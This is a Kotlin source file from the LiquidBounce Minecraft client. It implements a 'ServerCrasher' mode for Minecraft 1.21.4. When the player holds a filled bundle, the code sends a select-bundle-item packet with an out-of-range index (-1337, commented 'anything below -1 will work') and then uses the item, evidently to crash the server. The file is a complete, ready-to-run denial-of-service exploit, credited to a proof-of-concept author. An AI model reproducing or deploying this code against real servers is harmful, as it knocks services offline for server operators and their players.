/*
 * This file is part of LiquidBounce (https://github.com/CCBlueX/LiquidBounce)
 *
 * Copyright (c) 2015 - 2026 CCBlueX
 *
 * LiquidBounce is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * LiquidBounce is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with LiquidBounce. If not, see <https://www.gnu.org/licenses/>.
 */

package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import net.ccbluex.liquidbounce.config.types.group.Mode
import net.ccbluex.liquidbounce.config.types.group.ModeValueGroup
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.ccbluex.liquidbounce.utils.client.chat
import net.ccbluex.liquidbounce.utils.client.markAsError
import net.ccbluex.liquidbounce.utils.inventory.HotbarItemSlot
import net.ccbluex.liquidbounce.utils.entity.useItem
import net.ccbluex.liquidbounce.utils.item.isBundle
import net.minecraft.core.component.DataComponents
import net.minecraft.network.protocol.game.ServerboundSelectBundleItemPacket
import org.apache.commons.lang3.math.Fraction

/**
 * Bundle Exploit
 *
 * Requested by https://github.com/CCBlueX/LiquidBounce/issues/6103
 * PoC by https://github.com/PartialEq
 * PR by https://github.com/CaptainBoggle
 *
 */
object Bundle1214Exploit : Mode("BundleExploit-1.21.4") {

    override val parent: ModeValueGroup<Mode>
        get() = ModuleServerCrasher.exploitChoices

    override fun enable() {
        val slot = HotbarItemSlot(player.inventory.selectedSlot)
        val itemStack = slot.itemStack
        if (!itemStack.isBundle ||
            itemStack.get(DataComponents.BUNDLE_CONTENTS)?.weight()?.equals(Fraction.ZERO) == true) {
            chat(markAsError(ModuleServerCrasher.message("bundleExploit.notBundle")))
            ModuleServerCrasher.enabled = false
            return
        }

        val slotIdx = slot.getIdForServerWithCurrentScreen()
            ?: 36
        val selected = -1337 // anything below -1 will work
        val packet = ServerboundSelectBundleItemPacket(slotIdx, selected)
        network.send(packet)

        useItem(hand = slot.useHand)
        ModuleServerCrasher.enabled = false
    }

}
